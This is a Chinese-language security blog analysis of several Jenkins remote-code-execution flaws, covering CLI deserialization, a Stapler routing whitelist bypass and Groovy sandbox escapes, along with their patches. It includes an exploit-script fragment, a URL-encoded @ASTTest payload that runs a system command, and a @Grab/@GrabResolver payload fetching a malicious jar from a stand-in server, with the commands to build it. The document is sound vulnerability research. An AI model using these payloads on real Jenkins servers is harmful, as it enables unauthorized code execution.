Jenkins RCE漏洞分析匯總
- 2019 年 10 月 7 日
- 筆記
No.1
聲明
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。 雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2
前言
之前針對Jenkins沒注意看過,看到廖師傅kcon會議上講的Java沙箱逃逸就涉及到了Jenkins,包括今年開年時候orange發的Jenkins的組合拳,拖拖拉拉到了年底還沒看,所以準備開始看。
這裡根據Jenkins的漏洞觸發點做了一個歸類,一種是通過cli的方式觸發,一種是通過我們常見的http方式觸發。
No.3
環境搭建
在catalina.sh添加,或者catalina.bat內容不動用如下命令開啟,默認是開啟8000端口
用如下命令開啟
catalina.bat jpda start(Windows)
catalina.sh jpda start(linux)
No.4
漏洞分析
1.Cli方式觸發
- CVE-2015-8103
最早開始公開Java 反序列化的時候,何使用 Apache Commons Collections 這個常用庫來構造 POP 鏈(類ROP鏈),這個在Jenkins上的例子就是這個編號,但是網上對於這個調用鏈的過程都沒有進行分析,所以這裡分析一下。
先看看之前那些exp的腳本,這裡可以看到漏洞觸發已經是和Jenkins的cli有關係,且這裡走tcp socket通信的。
response = requests.get(jenkins_web_url, headers=i_headers)
cli_port = int(response.headers['X-Jenkins-CLI-Port'])
print('[+] Found CLI listener port: "%s"' % cli_port)
sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = urlparse.urlparse(jenkins_web_url).netloc
try:
host, port = host.split(':')
except:
host = host
cli_listener = (socket.gethostbyname(host), cli_port)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)
跟進一下看看。
漏洞分析:
Jenkins cli的入口在這hudson.TcpSlaveAgentListener#ConnectionHandler,這個run構造方法,我們看到調用了p.handle方法。

handle也是一個抽象方法,這裡根據前面的Protocol選擇相關協議,這裡的協議有兩個一個是Cli,另一個是JnlpSlaveAgent。我們關注的其實是Cli這個東西。

跟進hudson.cli.CliProtocol#handle ,這裡實例化CliProtocol.Handler來處理,並且調用其中的run構造方法
public void handle(Socket socket) throws IOException, InterruptedException {
(new CliProtocol.Handler(this.nio.getHub(), socket)).run();
}
繼續hudson.cli.CliProtocol$Handler.run,這裡調用runcli針對socket連接進行處理。

繼續跟進hudson.cli.CliProtocol$Handler.runCli,這的關鍵是下圖標紅色的地方。

這裡調用hudson.remoting.ChannelBuilder#build來處理傳入的buffer緩衝區的數據,跟進這個看看。
public Channel build(InputStream is, OutputStream os) throws IOException {
return new Channel(this, this.negotiate(is, os));
}
這裡主要是調用this.negotiate來處理is和os,而is和os分別使我們緩衝區的輸入和輸出,跟進一下hudson.remoting.ChannelBuilder.negotiate

negotiate會檢查所有發往Jenkins CLI的命令中都包含某種格式的前導碼(preamble),前導碼格式通常為:<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=, 該前導碼包含一個經過base64編碼的序列化對象,我們抓個包看到這個前導碼,也看到發序列化頭部base64編碼之後的關鍵字rO0A 。

然後繼續循環往下走,調用Capability.read處理buffer中的內容。

跟進hudson.remoting.Capability#read,標準的反序列化的輸入點了,之後就是調用Commons Collections執行反序列化下一步的命令執行操作了。

修復方式:
hudson.remoting.ClassFilter#check會檢查是否在黑名單中。

目前默認的黑名單如下所示
private static final String[] DEFAULT_PATTERNS = new String[]{ "^bsh[.].*", "^com[.]google[.]inject[.].*", "^com[.]mchange[.]v2[.]c3p0[.].*", "^com[.]sun[.]jndi[.].*", "^com[.]sun[.]corba[.].*", "^com[.]sun[.]javafx[.].*", "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", "^java[.]awt[.].*", "^java[.]rmi[.].*", "^javax[.]management[.].*", "^javax[.]naming[.].*", "^javax[.]script[.].*", "^javax[.]swing[.].*", "^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", "^org[.]apache[.]myfaces[.].*", "^org[.]apache[.]wicket[.].*", ".*org[.]apache[.]xalan.*", "^org[.]codehaus[.]groovy[.]runtime[.].*", "^org[.]hibernate[.].*", "^org[.]python[.].*", "^org[.]springframework[.](?!(\p{Alnum}+[.])*\p{Alnum}*Exception$).*", "^sun[.]rmi[.].*", "^javax[.]imageio[.].*", "^java[.]util[.]ServiceLoader$", "^java[.]net[.]URLClassLoader$"};
- CVE-2017-1000353
漏洞編號: CVE-2017-1000353
漏洞簡述: Jenkins 未授權遠程代碼執行漏洞, 允許攻擊者將序列化的Java SignedObject對象傳輸給Jenkins CLI處理,反序列化ObjectInputStream作為Command對象,這將繞過基於黑名單的保護機制, 導致代碼執行。
影響版本: Jenkins-Ci Jenkins LTS < = 2.46.1
所以從上面這段引用可以看到,漏洞觸發還是和cli有關係,我們來詳細看看,首先入口在hudson.cli.CLIAction中,代碼根據HTTP頭部中的side的值來區分是download還是upload操作,然後根據http頭部中session裏面的uuid的值來區分不同的會話通道。

先跟進看一下download操作,位置在hudson.model.FullDuplexHttpChannel#download,下圖中已經將重要部分代碼標紅了,如果沒有接收到upload請求,那麼這時候download操作就會阻塞等待,直到upload操作過來,然後建立新的channel對象,來處理upload接收到的請求和響應。

所以這裡就要跟進Channel,前面我們說過針對cli方式觸發的時候,會調用negotiate來檢查格式是否正確,所以這裡進入構造方法,實際上是下圖中的代碼。
Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {
this(settings, settings.negotiate(is, os));
}
跟進hudson.remoting.ChannelBuilder#negotiate,這裡會調用makeTransport方法。

跟進makeTransport方法,位置在hudson.remoting.ChannelBuilder#makeTransport,這個方法會根據cap是否支持Chunking來返回不同的對象,分別是ChunkedCommandTransport和ClassicCommandTransport。

然後又進去hudson.remoting.Channel中的下圖代碼進行操作,這裡紅框圈出部分關鍵代碼。這裡會調用transport.setup處理對象CommandReceiver。

而setup也是一個抽象類,會調用 hudson.remoting.SynchronousCommandTransport#setup這個回啟東一個ReaderThread線程來處理傳入的CommandReceiver對象。

public void setup(Channel channel, CommandReceiver receiver) {
this.channel = channel;
(new SynchronousCommandTransport.ReaderThread(receiver)).start();
}
跟進hudson.remoting.SynchronousCommandTransport#ReaderThread,這個方法會調用SynchronousCommandTransport.this.read

而這裡的read是個抽象類,目前這個流程中,他的實現方法在hudson.remoting.ClassicCommandTransport中。

public final Command read() throws IOException, ClassNotFoundException {
try {
Command cmd = Command.readFrom(this.channel, this.ois);
if (this.rawIn != null) {
this.rawIn.clear();
}
return cmd;
} catch (RuntimeException var2) {
throw this.diagnoseStreamCorruption(var2);
} catch (StreamCorruptedException var3) {
throw this.diagnoseStreamCorruption(var3);
}
}
那麼再跟進 hudson.remoting.Command#readFrom就找到反序列化的觸發點了。

修復方式:

我們可以看到本次修復,實際上引入了CVE-2015-8103的黑名單,並且將java.security.SignedObject本次的反序列化繞過方法加入這個黑名單中。
2.HTTP方式觸發
- CVE-2018-1000861
動態路由分析:
首先Jenkins會將所有請求交給`org.kohsuke.stapler.Stapler`來進行處理。
<servlet>
<servlet-name>Stapler</servlet-name>
<servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
<init-param>
<param-name>default-encodings</param-name>
<param-value>text/html=UTF-8</param-value>
</init-param>
<init-param>
<param-name>diagnosticThreadName</param-name>
<param-value>false</param-value>
</init-param>
<async-supported>true</async-supported>
</servlet>
跟進`org.kohsuke.stapler.Stapler`這個類中,簡單縮減一下代碼,如下所示:
protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {
Thread t = Thread.currentThread();
final String oldName = t.getName();
…
if (servletPath.startsWith(BoundObjectTable.PREFIX)) {
// serving exported objects
invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));
return;
}
…
Object root = webApp.getApp();
if(root==null)
throw new ServletException("there's no "app" attribute in the application context.");
// consider reusing this ArrayList.
invoke( req, rsp, root, servletPath);
} finally {
t.setName(oldName);
}
}
其中PREFIX的值是`/$stapler/bound/`。
public static final String PREFIX = "/$stapler/bound/";
也就是說在這裡Jenkins會根據用戶傳入的URL不同,來調用不同的webapp,這裡的invoke方法中有4個參數,它們分別是:
?req:請求對象
?rsp:響應對象
?root:webapp節點
?servletPath:經過路由解析後的對象
如果url以`/$stapler/bound/`開開頭,那麼它對應的root節點對象是:`webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable)`,而這個root對象實際上如果不是動態調試靜態看代碼我是看不出來,所以我在這裡下個斷點,我可以看到這個root節點對象對應的類是 hudson.model.Hudson,而這個類正是繼承了jenkins.model.Jenkins。

繼續向下跟進,跟進我們剛剛invoke方法,這個方法位置在org.kohsuke.stapler.Stapler#invoke。這個方法又調用了invoke來處理。

繼續跟進,我們可以看到這裡調用了 org.kohsuke.stapler.Stapler#tryInvoke來進行處理。

詳細跟進一下org.kohsuke.stapler.Stapler#tryInvoke這個方法,我截取部分代碼如下:
boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {
if(traceable())
traceEval(req,rsp,node);
if(node instanceof StaplerProxy) {
…
}
if (node instanceof StaplerOverridable) {
…
}
if(node instanceof StaplerFallback) {
…
}
這裡有三個根據不同的node節點進行相應操作`instanceof`,從代碼中來看順序應該是從上到下分別是:
– StaplerProxy
– StaplerOverridable
– StaplerFallback
而Jenkins這部分其實在文檔中也寫了:

所以說文檔中的描述和代碼中看到的是一致的,所以tryInvoke這個方法實際上做哦那個就是完成路由的分發,路由的綁定操作等。我們可以看看當我們傳入`/aa/bb/cc`的時候,路由是如何選擇。
當我們傳入`/aa/bb/cc`的時候,對應的root根對象是`hudson.model.Hudson`,所以這裡向根據這個node獲取一個metaClass對象,然後輪詢 MetaClass中的metaClass.dispatchers。

但是這裡具體如何操作還是有點懵逼,這裡還是慢慢的跟一下,用@orange文章的白名單路由來做個文章,後面也會詳細分析,路由為`/securityRealm/user/test/` ,跟進`org.kohsuke.stapler.WebApp#getMetaClass`。
public MetaClass getMetaClass(Object o) {
return getMetaClass(getKlass(o));
}
在這裏面又調用了getKlass和getMetaClass,先看看getKlass,這裡最後的return操作實例化相關類對象,這裡對應的自然是我們前面路由分析的時候,如果url不是以`/$stapler/bound/`開頭,對應的對象自然是hudson.model.Hudson。
public Klass<?> getKlass(Object o) {
…
return Klass.java(o.getClass());
}

我們再看看getMetaClass,在getMetaClass中首先獲取傳入的類對象,然後實例化MetaClass針對傳入的對象進行處理。

跟進MetaClass,來詳細看看,我們可以看到這就是通過我們剛剛實例化的Klass類,然後根據這個類獲取相應信息,最後使用buildDispatchers
/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {
this.clazz = klass.toJavaClass();
this.klass = klass;
this.webApp = webApp;
this.baseClass = webApp.getMetaClass(klass.getSuperClass());
this.classLoader = MetaClassLoader.get(clazz.getClassLoader());
buildDispatchers();
}
跟進 org.kohsuke.stapler.MetaClass.buildDispatchers,其實從注釋裏面就知道這個方法幹啥的了。

簡單翻譯一下這個是處理路由調度的核心,他通過反射使用相關的類,並且確認由誰處理這個URL,這部分代碼很長,而且也能看得出來Jenkins給了用戶足夠多的自由度,但有時候其實就是給你的自由過了火導致的問題,從代中把這些全部梳理了出來:
<obj>.do<token>(…) and other WebMethods:do(…)或者@WebMethods標註
<obj>.doIndex(…):doIndex(…)
<obj>js<token>:js(…)
method with @JavaScriptMethod:@JavaScriptMethod標註
NODE.TOKEN
NODE.getTOKEN():get()
NODE.getTOKEN(StaplerRequest):get(StaplerRequest)
<obj>.get<Token>(String):get(String)
<obj>.get<Token>(int):get(int)
<obj>.get<Token>(long):get(long)
<obj>.getDynamic(<token>,…):ggetDynamic(…)
<obj>.doDynamic(…):doDynamic(…)
隨便找個例子,在處理node時候會先實例化 NameBasedDispatcher,然後把這個加到 dispatchers中,然後使用doDispatch處理傳過來的請求,最後通過invoke反射的方式調用相關類。

所以我們回憶一下`/securityRealm/user/test/`的解析過程,在org.kohsuke.stapler.Stapler中這裡的d.dispatch會處理傳入的請求。
try {
for( Dispatcher d : metaClass.dispatchers ) {
if(d.dispatch(req,rsp,node)) {
這裡的dispathch是一個抽象類,他的實現方法有下圖中那麼多,我們看到 NameBasedDispatcher是不是有點眼熟。

跟進 org.kohsuke.stapler.NameBasedDispatcher#dispathch這裡有個doDispatch,實際上這個也是個抽象類,主要實現還是在MetaClass中的buildDispatchers,前面我們也了解過了buildDispatchers這個方法會根據node節點的不同選擇不同的方法去實現。

這裡簡單畫個代碼流程圖吧。

所以可以看到最後在 org.kohsuke.stapler.MetaClass已經成功解析了我們傳入的第一個node節點securityRealm

緊接着解析第二個node節點時候,首先跟進這個getStapler返回的是當前stapler對象。
public Stapler getStapler() {
return stapler;
}
這裡的ff是一個`org.kohsuke.stapler.Function`對象,它保存了當前根節點中方法的各種信息。

ff.invoke處理之後會返回`Hudson.security.HudsonPrivateSecurityRealm`,然後又會把這個東西帶入到tryInvoke中進行第二次解析,就是這樣循環下去。


現在再回頭過看,我們之前用到一個payload:`/securityRealm/user/test/`,這個payload中的securityRealm是Jenkins的一個路由白名單,白名單是個什麼情況呢,我們來看看。
首先前面提到過tryInvoke的時候,會進行三個優先級不同操作:
– StaplerProxy
– StaplerOverridable
– StaplerFallback
根據優先級,首先進行的是StaplerProxy,我們詳細看看這個,這個做了一個try的操作,跟進一下getTarget()方法。

而getTarget()的實現主要在這幾個地方出現過。

在Jenkins中,入口是`jenkins.model.Jenkins`,所以跟進看看jenkins.model.Jenkins#getTarget

首先checkPermission會進行權限進行檢查,檢查是否有讀的權限,如果沒有會拋出異常,而在異常里有一個`isSubjectToMandatoryReadPermissionCheck`對路徑進行二次檢測,如果這個檢測沒通過就退出,否則正常返回。繼續跟進 jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck,這裡有個常量的白名單判斷。

看看這個白名單的值,所以很明顯了,如果請求的路徑在這個白名單裏面,那麼就可以繞過權限校驗。
ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});
跨物件操作導致白名單繞過:
> 1.在 Java 中, 所有的物件皆繼承 java.lang.Object這個類別, 因此所有在 Java 中的物件皆存在着 `getClass()` 這個方法。
> 2.恰巧這個方法又符合動態路由調用`get<token>(…)`的命名規則, 因此 `getClass()` 可在 Jenkins 調用鏈中被動能呼叫。
> 3.入口檢查的白名單繞過
會從上倒下依次執行
jenkins.model.Jenkins.getAdjuncts("whatever")
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()
從這個例子中我們看到如果是`xx.com/adjuncts/aa/bb/cc`,那麼jenkins就會去尋找getAa、getBb等相關get方法,也就是說在這裡我們可以任意操作GETTER方法。
回到最早的用來測試路由`/securityRealm/user/test`,我們也很清楚的看到這裡去尋找`jenkins.model.Jenkins.getsecurityRealm()`。

利用鏈條:
再回到orange給的這個路由`/securityRealm/user/test`,跟進去,這個我們之前聊過,根據這個路由解析過程應該是分別是getsecurityRealm和getUser,當解析getUser的時候來到的是hudson.security.HudsonPrivateSecurityRealm.getUser中。

跟進hudson.security.HudsonPrivateSecurityRealm.getUser,這裡實際上和我們的url一致了,上圖中的url實際上是user/test,這裡根據傳入的下一節點名當做 id,然後生成一個 User 出來,所以這裡將test傳入getUser構造方法中,並調用hudson.model.User進行處理,最後生成一個User出來,但是測試發現如果沒有用戶一樣能夠生成,具體原因沒有去深究。

這裡看看User的繼承關係,這裡有個
`hudson.model.DescriptorByNameOwner#getDescriptorByName`

實際上是User中寫了一個getDescriptorByName方法,是來自`hudson.model.DescriptorByNameOwner#getDescriptorByName`這個接口。
public Descriptor getDescriptorByName(String className) {
return Jenkins.getInstance().getDescriptorByName(className);
}

而這個方法中的實際上就是調用了Jenkins.getInstance().getDescriptorByName,跟進jenkins.model.Jenkins#getDescriptorByName,調用了jenkins.model.Jenkins#getDescriptor
public Descriptor getDescriptorByName(String id) {
return this.getDescriptor(id);
}
跟進jenkins.model.Jenkins#getDescriptor,這裡根據id(string)來獲取所有繼承了Descriptor的子類

也就是說實際上我們通過構造`/securityRealm/user/DescriptorByName/xxx`就可以使用了繼承了Descriptor這個的子類。
利用鏈:
Jenkins ->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor
我們從登陸限制的情況下,利用這個方法可以繞過限制,從而達到未授權訪問某些功能的目的。
沙盒繞過:

SECURITY-1266:
從官方通告來看,更新了一個groovy沙盒繞過的問題。

%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d
@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a
@Grab(group='demo_server.exp', module='poc', version='2')%0a
import Exp;
分別開看看,可惡意看到的觸發的類都是
`org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript`,跟進來看。

DescriptorImpl方法繼承了Descriptor,且在doCheckScript裏面,實例化了GroovyShell對象,並且輸出,根據前面的分析doCheckScript可控。
@ASTTest:執行斷言的時候執行代碼
這個和PHP的assert有點像。

Grab:引入外部惡意類
`Grape`是groovy內置的依賴管理引擎,而且在官方文檔中,我們發現它可以將root地址自行指定,從而引入惡意類。

javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/
補丁:

private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);
SECURITY-1292:
官方測試案例:

補丁:

SECURITY-1318:
@Grapes([@Grab(group='foo', module='bar', version='1.0')])ndef foon
@GrabConfig(autoDownload=false)ndef foon
@GrabExclude(group='org.mortbay.jetty', module='jetty-util')ndef fo
SECURITY-1319:
@GrabResolver(name='restlet.org', root='http://maven.restlet.org')ndef foon
SECURITY-1320:
"import groovy.transform.ASTTest as lolwutn" +
"import jenkins.model.Jenkinsn" +
"import hudson.model.FreeStyleProjectn" +
"@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, "should-not-exist") })n" +
"int xn" +
"echo 'hello'n", false
"import groovy.transform.*n" +
"import jenkins.model.Jenkinsn" +
"import hudson.model.FreeStyleProjectn" +
"@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, "should-not-exist") })n" +
"@Field int xn" +
"echo 'hello'n", false
SECURITY-1321:
import groovy.transform.*n" +
"import jenkins.model.Jenkinsn" +
"import hudson.model.FreeStyleProjectn" +
"@AnnotationCollector([ASTTest]) @interface Lol {}n" +
"@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, "should-not-exist") })n" +
"@Field int xn" +
"echo 'hello'n", false
補丁:
還是1266修復時候那個方法,增強了黑名單。

BLOCKED_TRANSFORMS =
ImmutableList.of(ASTTest.class.getCanonicalName(),
Grab.class.getCanonicalName(),
GrabConfig.class.getCanonicalName(),
GrabExclude.class.getCanonicalName(),
GrabResolver.class.getCanonicalName(),
Grapes.class.getCanonicalName(),
AnnotationCollector.class.getCanonicalName());
SECURITY-1353:
assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");
assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");
assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");
assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");
assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",
"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");
assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",
"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");
assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",
"def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");
補丁:
在執行的時候只執行白名單,並且加強白名單和黑名單。


2.總結
可以看到這種RCE的漏洞,Jenkins從目前修復來看,基本上都是白名單、黑名單或者黑名單+白名單的方式,來解決問題。
END